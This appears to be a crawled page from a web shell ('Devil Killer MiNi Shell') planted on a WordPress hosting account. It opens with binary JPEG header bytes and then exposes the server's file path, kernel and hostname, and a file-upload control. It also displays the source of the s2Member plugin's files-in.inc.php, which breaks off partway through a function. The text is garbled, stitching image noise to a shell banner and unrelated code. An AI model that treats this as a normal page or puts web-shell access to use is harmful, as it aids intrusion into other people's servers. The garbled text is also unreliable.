JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/sb_web/web/b1536/promotivemedia.ca/biofocus/wp-content/plugins/s2member/includes/classes/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/sb_web/web/b1536/promotivemedia.ca/biofocus/wp-content/plugins/s2member/includes/classes/files-in.inc.php

<?php
/**
* File Download routines for s2Member ( inner processing routines ).
*
* Copyright: © 2009-2011
* {@link http://www.websharks-inc.com/ WebSharks, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package s2Member\Files
* @since 3.5
*/
if(realpath(__FILE__) === realpath($_SERVER["SCRIPT_FILENAME"]))
	exit("Do not access this file directly.");
/**/
if(!class_exists("c_ws_plugin__s2member_files_in"))
	{
		/**
		* File Download routines for s2Member ( inner processing routines ).
		*
		* @package s2Member\Files
		* @since 3.5
		*/
		class c_ws_plugin__s2member_files_in
			{
				/**
				* Handles Download Access permissions.
				*
				* @package s2Member\Files
				* @since 3.5
				*
				* @attaches-to ``add_action("init");``
				* @also-called-by API Function {@link s2Member\API_Functions\s2member_file_download_url()}, w/ ``$create_file_download_url`` param.
				*
				* @param array $create_file_download_url Optional. If this function is called directly, we can pass arguments through this array.
				* 	Possible array elements: `file_download` *(required)*, `file_download_key`, `file_stream`, `file_inline`, `file_storage`, `file_remote`, `file_ssl`, `file_rewrite`, `file_rewrite_base`, `skip_confirmation`, `url_to_storage_source`, `count_against_user`, `check_user`.
				* @return null|str If called directly with ``$create_file_download_url``, returns a string with the URL, based on configuration.
				* 	Else, this function may exit script execution after serving a File Download.
				*/
				public static function check_file_download_access($create_file_download_url = FALSE)
					{
						eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
						do_action("ws_plugin__s2member_before_file_download_access", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$_g = !empty($_GET) ? $_GET : array();
						$_g = c_ws_plugin__s2member_utils_strings::trim_deep(stripslashes_deep($_g));
						/**/
						$creating = /* Creating URL? */ (is_array($create = $create_file_download_url)) ? true : false;
						$serving = /* If NOT creating a File Download URL, we're serving one. */ (!$creating) ? true : false;
						/**/
						$req["file_download"] = ($creating) ? @$create["file_download"] : @$_g["s2member_file_download"];
						$req["file_download_key"] = ($creating) ? @$create["file_download_key"] : @$_g["s2member_file_download_key"];
						/**/
						$req["file_stream"] = ($creating) ? @$create["file_stream"] : @$_g["s2member_file_stream"];
						$req["file_inline"] = ($creating) ? @$create["file_inline"] : @$_g["s2member_file_inline"];
						$req["file_storage"] = ($creating) ? @$create["file_storage"] : @$_g["s2member_file_storage"];
						$req["file_remote"] = ($creating) ? @$create["file_remote"] : @$_g["s2member_file_remote"];
						$req["file_ssl"] = ($creating) ? @$create["file_ssl"] : @$_g["s2member_file_ssl"];
						/**/
						$req["file_rewrite"] = ($creating) ? @$create["file_rewrite"] : /* N/A. */ null;
						$req["file_rewrite_base"] = ($creating) ? @$create["file_rewrite_base"] : /* N/A. */ null;
						/**/
						$req["skip_confirmation"] = ($creating) ? @$create["skip_confirmation"] : /* N/A. */ null;
						$req["url_to_storage_source"] = ($creating) ? @$create["url_to_storage_source"] : /* N/A. */ null;
						$req["count_against_user"] = ($creating) ? @$create["count_against_user"] : /* N/A. */ null;
						$req["check_user"] = ($creating) ? @$create["check_user"] : /* N/A. */ null;
						/**/
						if($req["file_download"] && is_string($req["file_download"]) && ($req["file_download"] = trim($req["file_download"], "/")))
							if(strpos($req["file_download"], "..") === false && strpos(basename($req["file_download"]), ".") !== 0)
								{
									$using_amazon_cf_storage = ((!$req["file_storage"] || strcasecmp((string)$req["file_storage"], "cf") === 0) && c_ws_plugin__s2member_utils_conds::using_amazon_cf_storage()) ? true : false;
									$using_amazon_s3_storage = ((!$req["file_storage"] || strcasecmp((string)$req["file_storage"], "s3") === 0) && c_ws_plugin__s2member_utils_conds::using_amazon_s3_storage()) ? true : false;
									$using_amazon_storage = /* Either? */ ($using_amazon_cf_storage || $using_amazon_s3_storage) ? true : false;
									/**/
									$excluded = apply_filters("ws_plugin__s2member_check_file_download_access_excluded", false, get_defined_vars());
									$valid_file_download_key = ($req["file_download_key"] && is_string($req["file_download_key"]) && $creating && (!isset($req["check_user"]) || !filter_var($req["check_user"], FILTER_VALIDATE_BOOLEAN)) && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN))) ? true : false;
									$valid_file_download_key = (!$valid_file_download_key && $req["file_download_key"] && is_string($req["file_download_key"])) ? c_ws_plugin__s2member_files_in::check_file_download_key($req["file_download"], $req["file_download_key"]) : false;
									$checking_user = ($excluded || $valid_file_download_key || ($creating && (!isset($req["check_user"]) || !filter_var($req["check_user"], FILTER_VALIDATE_BOOLEAN)) && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN)))) ? false : true;
									$updating_user_counter = (!$checking_user || ($creating && (!isset($req["count_against_user"]) || !filter_var($req["count_against_user"], FILTER_VALIDATE_BOOLEAN)))) ? false : true;
									/**/
									if( /* In either case, the following routines apply whenever we ARE ``$checking_user``. */($serving || $creating) && $checking_user)
										{
											if(!$using_amazon_storage && !file_exists($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["files_dir"]."/".$req["file_download"]))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(404).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>404: Sorry, file not found.</strong> Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
											/**/
											else if($req["file_download_key"] && is_string($req["file_download_key"]) && !$valid_file_download_key)
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>503 ( Invalid Key ):</strong> Sorry, your access to this file has expired. Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
											/**/
											else if($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["membership_options_page"] || ($file_downloads_enabled_by_site_owner = $min_level_4_downloads = c_ws_plugin__s2member_files::min_level_4_downloads()) === false)
												{
													if /* We only need remote functionality when/if we're actually serving. */($serving)
														if(!has_filter("ws_plugin__s2member_check_file_download_access_user", "c_ws_plugin__s2member_files_in::check_file_remote_authorization"))
															add_filter("ws_plugin__s2member_check_file_download_access_user", "c_ws_plugin__s2member_files_in::check_file_remote_authorization", 10, 2);
													/**/
													if /* We only need remote functionality when/if we're actually serving. */($creating)
														if(has_filter("ws_plugin__s2member_check_file_download_access_user", "c_ws_plugin__s2member_files_in::check_file_remote_authorization"))
															remove_filter("ws_plugin__s2member_check_file_download_access_user", "c_ws_plugin__s2member_files_in::check_file_remote_authorization", 10, 2);
													/**/
													if((isset($file_downloads_enabled_by_site_owner, $min_level_4_downloads) && $file_downloads_enabled_by_site_owner === false) || ($file_downloads_enabled_by_site_owner = $min_level_4_downloads = c_ws_plugin__s2member_files::min_level_4_downloads()) === false)
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
																.exit(_x('<strong>503: Basic File Downloads are NOT enabled yet.</strong> Please contact Support for assistance. If you are the site owner, please configure: <code>s2Member -> Download Options -> Basic Download Restrictions</code>.', "s2member-front", "s2member"));
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(!is_object($user = apply_filters("ws_plugin__s2member_check_file_download_access_user", ((is_user_logged_in()) ? wp_get_current_user() : false), get_defined_vars())) || empty($user->ID) || !($user_id = $user->ID) || !is_array($user_file_downloads = c_ws_plugin__s2member_files::user_downloads($user)) || (!$user->has_cap("administrator") && (!$user_file_downloads["allowed"] || !$user_file_downloads["allowed_days"])))
														{
															if(preg_match("/(?:^|\/)access[_\-]s2member[_\-]level([0-9]+)\//", $req["file_download"], $m) && strlen($req_level = $m[1]) && (!is_object($user) || empty($user->ID) || !$user->has_cap("access_s2member_level".$req_level)))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		c_ws_plugin__s2member_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $req_level, $_SERVER["REQUEST_URI"]).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															/**/
															else if(preg_match("/(?:^|\/)access[_\-]s2member[_\-]ccap[_\-](.+?)\//", $req["file_download"], $m) && strlen($req_ccap = preg_replace("/-/", "_", $m[1])) && (!is_object($user) || empty($user->ID) || !$user->has_cap("access_s2member_ccap_".$req_ccap)))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		c_ws_plugin__s2member_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "ccap", $req_ccap, $_SERVER["REQUEST_URI"]).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															/**/
															else if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__s2member_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $min_level_4_downloads, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(preg_match("/(?:^|\/)access[_\-]s2member[_\-]level([0-9]+)\//", $req["file_download"], $m) && strlen($req_level = $m[1]) && !$user->has_cap("access_s2member_level".$req_level))
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__s2member_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $req_level, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(preg_match("/(?:^|\/)access[_\-]s2member[_\-]ccap[_\-](.+?)\//", $req["file_download"], $m) && strlen($req_ccap = preg_replace("/-/", "_", $m[1])) && !$user->has_cap("access_s2member_ccap_".$req_ccap))
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__s2member_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "ccap", $req_ccap, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if /* In either case, the following routines apply. */($serving || $creating)
														{
															$user_previous_file_downloads = /* Downloads the User has already; in current period/cycle. */ 0;
															$user_already_downloaded_this_file = $user_already_downloaded_a_streaming_variation_of_this_file = false;
															/**/
															$user_file_download_access_log = (is_array($user_file_download_access_log = get_user_option("s2member_file_download_access_log", $user_id))) ? $user_file_download_access_log : array();
															$user_file_download_access_arc = (is_array($user_file_download_access_arc = get_user_option("s2member_file_download_access_arc", $user_id))) ? $user_file_download_access_arc : array();
															/**/
															$streaming_file_extns = c_ws_plugin__s2member_utils_strings::preg_quote_deep($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["streaming_file_extns"], "/");
															$streaming_variations = /* Only count one streaming media file variation. */ "/\.(".implode("|", $streaming_file_extns).")$/i";
															/**/
															foreach($user_file_download_access_log as $user_file_download_access_log_entry_key => $user_file_download_access_log_entry)
																{
																	if( /* Weed out corrupt/empty log entries. */isset($user_file_download_access_log_entry["date"], $user_file_download_access_log_entry["file"]))
																		{
																			if(strtotime($user_file_download_access_log_entry["date"]) < strtotime("-".$user_file_downloads["allowed_days"]." days"))
																				{
																					unset /* Remove it from the `log`. */($user_file_download_access_log[$user_file_download_access_log_entry_key]);
																					$user_file_download_access_arc[] = /* Move `log` entry to the `archive` now. */ $user_file_download_access_log_entry;
																				}
																			else if(strtotime($user_file_download_access_log_entry["date"]) >= strtotime("-".$user_file_downloads["allowed_days"]." days"))
																				{
																					$user_previous_file_downloads++; /* Previous files always count against this User/Member. */
																					/**/
																					$_user_file_download_access_log_entry = &$user_file_download_access_log[$user_file_download_access_log_entry_key];
																					$_user_already_downloaded_this_file = $_user_already_downloaded_a_streaming_variation_of_this_file = false;
																					/**/
																					if /* Already downloaded this file? If yes, mark this flag as true. */($user_file_download_access_log_entry["file"] === $req["file_download"])
																						$user_already_downloaded_this_file = $_user_already_downloaded_this_file = /* Already downloaded this file? If yes, mark as true. */ true;
																					/**/
																					else if(preg_replace($streaming_variations, "", $user_file_download_access_log_entry["file"]) === preg_replace($streaming_variations, "", $req["file_download"]))
																						$user_already_downloaded_this_file = $_user_already_downloaded_this_file = $user_already_downloaded_a_streaming_variation_of_this_file = $_user_already_downloaded_a_streaming_variation_of_this_file = true;
																					/**/
																					if( /* Updating counter? */$updating_user_counter && ($_user_already_downloaded_this_file || $_user_already_downloaded_a_streaming_variation_of_this_file))
																						{
																							$_user_file_download_access_log_entry /* First, we update the last download time for this file. */["ltime"] = time();
																							/**/
																							if( /* Backward compatiility here. Is this even set? */!empty($user_file_download_access_log_entry["counter"]))
																								$_user_file_download_access_log_entry["counter"] = (int)$user_file_download_access_log_entry["counter"] + 1;
																							else /* Backward compatiility here. Default value to `1`, if this is NOT even set yet. */
																								$_user_file_download_access_log_entry["counter"] = 1 + 1;
																						}
																				}
																		}
																	else /* Weed out empty log entries. Some older versions of s2Member may have corrupt/empty log entries. */
																		unset($user_file_download_access_log[$user_file_download_access_log_entry_key]); /* Remove. */
																}
															if( /* Updating counter? */$updating_user_counter && /* Do we need a new log entry for this file? */ !$user_already_downloaded_this_file && !$user_already_downloaded_a_streaming_variation_of_this_file)
																$user_file_download_access_log[] = array("date" => date("Y-m-d"), "time" => time(), "ltime" => time(), "file" => $req["file_download"], "counter" => 1);
															/**/
															if($user_previous_file_downloads >= $user_file_downloads["allowed"] && !$user_already_downloaded_this_file && !$user_already_downloaded_a_streaming_variation_of_this_file && !$user->has_cap("administrator"))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		wp_redirect(add_query_arg(urlencode_deep(array("_s2member_seeking" => array("type" => "file", "file" => $req["file_download"], "_uri" => base64_encode($_SERVER["REQUEST_URI"])), "s2member_seeking" => "file-".$req["file_download"])), get_page_link($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["file_download_limit_exceeded_page"])), apply_filters("ws_plugin__s2member_content_redirect_status", 301, get_defined_vars())).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															else if /* Save/update counter? By default, we do NOT update the counter when a URL is simply being created for access. */($updating_user_counter)
																update_user_option($user_id, "s2member_file_download_access_log", c_ws_plugin__s2member_utils_arrays::array_unique($user_file_download_access_log)).update_user_option($user_id, "s2member_file_download_access_arc", c_ws_plugin__s2member_utils_arrays::array_unique($user_file_download_access_arc));
														}
												}
										}
									else /* Otherwise, we're either NOT ``$checking_user``; or permission was granted with a valid File Download Key. */
										{
											if(!$using_amazon_storage && !file_exists($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["files_dir"]."/".$req["file_download"]))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(404).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>404: Sorry, file not found.</strong> Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
										}
									/**/
									if /* In either case, the following routines apply. */($serving || $creating)
										{
											$basename = basename($req["file_download"]);
											$mimetypes = parse_ini_file(dirname(dirname(dirname(__FILE__)))."/includes/mime-types.ini");
											$extension = strtolower(substr($req["file_download"], strrpos($req["file_download"], ".") + 1));
											/**/
											$key = ($req["file_download_key"] && is_string($req["file_download_key"])) ? $req["file_download_key"] : false;
											/**/
											$stream = (isset($req["file_stream"])) ? filter_var($req["file_stream"], FILTER_VALIDATE_BOOLEAN) : ((in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["file_download_stream_extensions"]))) ? true : false);
											$inline = (!$stream && isset($req["file_inline"])) ? filter_var($req["file_inline"], FILTER_VALIDATE_BOOLEAN) : (($stream || in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["file_download_inline_extensions"]))) ? true : false);
											$ssl = (isset($req["file_ssl"])) ? filter_var($req["file_ssl"], FILTER_VALIDATE_BOOLEAN) : ((is_ssl()) ? true : false);
											$storage = ($req["file_storage"] && is_string($req["file_storage"])) ? strtolower($req["file_storage"]) : false;
											$remote = (isset($req["file_remote"])) ? filter_var($req["file_remote"], FILTER_VALIDATE_BOOLEAN) : false;
											/**/
											$_basename_dir_app_data = c_ws_plugin__s2member_utils_dirs::basename_dir_app_data($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["files_dir"]);
											$rewrite_base_guess = (is_dir(dirname($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["dir"])."/".$_basename_dir_app_data)) ? dirname($GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["dir_url"])."/".$_basename_dir_app_data : content_url("/".$_basename_dir_app_data);
											$rewrite_base = ($req["file_rewrite_base"] && is_string($req["file_rewrite_base"])) ? $req["file_rewrite_base"] : false;
											$rewrite = $rewriting = (!$rewrite_base && isset($req["file_rewrite"])) ? filter_var($req["file_rewrite"], FILTER_VALIDATE_BOOLEAN) : (($rewrite_base) ? true : false);
											unset /* A little housekeeping here. */($_basename_dir_app_data);
											/**/
											$skip_confirmation = (isset($req["skip_confirmation"])) ? filter_var($req["skip_confirmation"], FILTER_VALIDATE_BOOLEAN) : false;
											$url_to_storage_source = (isset($req["url_to_storage_source"])) ? filter_var($req["url_to_storage_source"], FILTER_VALIDATE_BOOLEAN) : false;
											/**/
											$pathinfo = (!$using_amazon_storage) ? pathinfo(($file = $GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["files_dir"]."/".$req["file_download"])) : array();
											$mimetype = ($mimetypes[$extension]) ? $mimetypes[$extension] : "application/octet-stream";
											$length = (!$using_amazon_storage && $file) ? filesize($file) : -1;
											/**/
											eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
											do_action("ws_plugin__s2member_during_file_download_access", get_defined_vars());
											unset($__refs, $__v); /* Unset defined __refs, __v. */
											/**/
											if($using_amazon_storage && $using_amazon_cf_storage && ($serving || ($creating && $url_to_storage_source)))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														wp_redirect(c_ws_plugin__s2member_files_in::amazon_cf_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype)).exit();
													/**/
													else /* Else return File Download URL. */
														return apply_filters("ws_plugin__s2member_file_download_access_url", c_ws_plugin__s2member_files_in::amazon_cf_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype), get_defined_vars());
												}
											/**/
											else if($using_amazon_storage && $using_amazon_s3_storage && ($serving || ($creating && $url_to_storage_source)))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														wp_redirect(c_ws_plugin__s2member_files_in::amazon_s3_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype)).exit();
													/**/
													else /* Else return File Download URL. */
														return apply_filters("ws_plugin__s2member_file_download_access_url", c_ws_plugin__s2member_files_in::amazon_s3_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype), get_defined_vars());
												}
											/**/
											else if /* Creating a rewrite URL, pointing to local storage. */($creating && $rewriting)
												{
													$url = ($rewrite_base) ? rtrim($rewrite_base, "/") : rtrim($rewrite_base_guess, "/");
													$url .= (isset($req["file_download_key"])) ? (($key) ? "/s2member-file-download-key-".$key : "") : "";
													$url .= (isset($req["file_stream"])) ? (($stream) ? "/s2member-file-stream" : "/s2member-file-stream-no") : "";
													$url .= (isset($req["file_inline"])) ? (($inline) ? "/s2member-file-inline" : "/s2member-file-inline-no") : "";
													$url .= (isset($req["file_storage"])) ? (($storage) ? "/s2member-file-storage-".$storage : "") : "";
													$url .= (isset($req["file_remote"])) ? (($remote) ? "/s2member-file-remote" : "/s2member-file-remote-no") : "";
													$url .= (isset($req["skip_confirmation"])) ? (($skip_confirmation) ? "/s2member-skip-confirmation" : "/s2member-skip-confirmation-no") : "";
													/**/
													$url = /* File Download Access URL via `mod_rewrite` functionality. */ $url."/".$req["file_download"];
													$url = ($ssl) ? preg_replace("/^https?/", "https", $url) : preg_replace("/^https?/", "http", $url);
													/**/
													return apply_filters("ws_plugin__s2member_file_download_access_url", $url, get_defined_vars());
												}
											/**/
											else if /* Else we're creating a URL w/ a query-string; w/ local storage. */($creating)
												{ /* Note: we don't URL encode unreserved chars. Improves media player compatibility. */
													$_url_e_key = ($key) ? c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep(urlencode($key)) : "";
													$_url_e_storage = ($storage) ? c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep(urlencode($storage)) : "";
													$_url_e_file = c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep(urlencode($req["file_download"]));
													/**/
													$url = (isset($req["file_download_key"])) ? (($key && $_url_e_key) ? "&s2member_file_download_key=".$_url_e_key : "") : "";
													$url .= (isset($req["file_stream"])) ? (($stream) ? "&s2member_file_stream=yes" : "&s2member_file_stream=no") : "";
													$url .= (isset($req["file_inline"])) ? (($inline) ? "&s2member_file_inline=yes" : "&s2member_file_inline=no") : "";
													$url .= (isset($req["file_storage"])) ? (($storage && $_url_e_storage) ? "&s2member_file_storage=".$_url_e_storage : "") : "";
													$url .= (isset($req["file_remote"])) ? (($remote) ? "&s2member_file_remote=yes" : "&s2member_file_remote=no") : "";
													$url .= (isset($req["skip_confirmation"])) ? (($skip_confirmation) ? "&s2member_skip_confirmation=yes" : "&s2member_skip_confirmation=no") : "";
													/**/
													$url = site_url("/?".ltrim($url."&s2member_file_download=/".$_url_e_file, "&"));
													$url = ($ssl) ? preg_replace("/^https?/", "https", $url) : preg_replace("/^https?/", "http", $url);
													/**/
													return apply_filters("ws_plugin__s2member_file_download_access_url", $url, get_defined_vars());
												}
											/**/
											else /* Else, ``if ($serving)``, use local storage option. */
												{
													@set_time_limit /* Allow time. */(0);
													/**/
													@ini_set /* Disable GZIP compression. */("zlib.output_compression", 0);
													((function_exists("apache_setenv")) ? @apache_setenv("no-gzip", "1") : "");
													/*
													Note: ``apache_setenv()`` only works when PHP is running as an Apache module.
													It's also a good idea to put this at the top of your `/.htaccess` file.
													
													<IfModule mod_rewrite.c>
														RewriteEngine On
														RewriteCond %{QUERY_STRING} (?:^|\?|&)s2member_file_download\=.+
														RewriteRule .* - [E=no-gzip:1]
													</IfModule>
													
													*/
													status_header /* 200 OK status header. */(200);
													/**/
													header("Content-Encoding:");
													header("Accept-Ranges: none");
													header("Content-Type: ".$mimetype);
													header("Expires: ".gmdate("D, d M Y H:i:s", strtotime("-1 week"))." GMT");
													header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
													header("Cache-Control: no-cache, must-revalidate, max-age=0");
													header("Cache-Control: post-check=0, pre-check=0", false);
													header("Pragma: no-cache");
													/**/
													header('Content-Disposition: '.(($inline) ? "inline" : "attachment").'; filename="'.$basename.'"');
													/**/
													eval /* End/clean any output buffers that may exist already. Prep for content delivery. */('while (@ob_end_clean ());');
													/**/
													if($length && apply_filters("ws_plugin__s2member_chunk_file_downloads", false, get_defined_vars()) && is_resource($resource = fopen($file, "rb")))
														{
															$_chunk_size = apply_filters("ws_plugin__s2member_chunk_file_downloads_w_chunk_size", 2097152, get_defined_vars());
															/**/
															if(apply_filters("ws_plugin__s2member_chunk_file_downloads_w_content_length", false, get_defined_vars()))
																header("Content-Length: ".$length);
															/**/
															header /* `Transfer-Encoding: chunked` conserves memory. */("Transfer-Encoding: chunked");
															/**/
															while(!feof($resource) && ($chunk_size = strlen($data = fread($resource, $_chunk_size))))
																eval('echo dechex ($chunk_size) . "\r\n". $data . "\r\n"; @flush ();');
															/**/
															fclose($resource).exit("0\r\n\r\n");
														}
													else if($length && apply_filters("ws_plugin__s2member_flush_file_downloads", true, get_defined_vars()) && is_resource($resource = fopen($file, "rb")))
														{
															$_flush_size = apply_filters("ws_plugin__s2member_flush_file_downloads_w_flush_size", 2097152, get_defined_vars());
															/**/
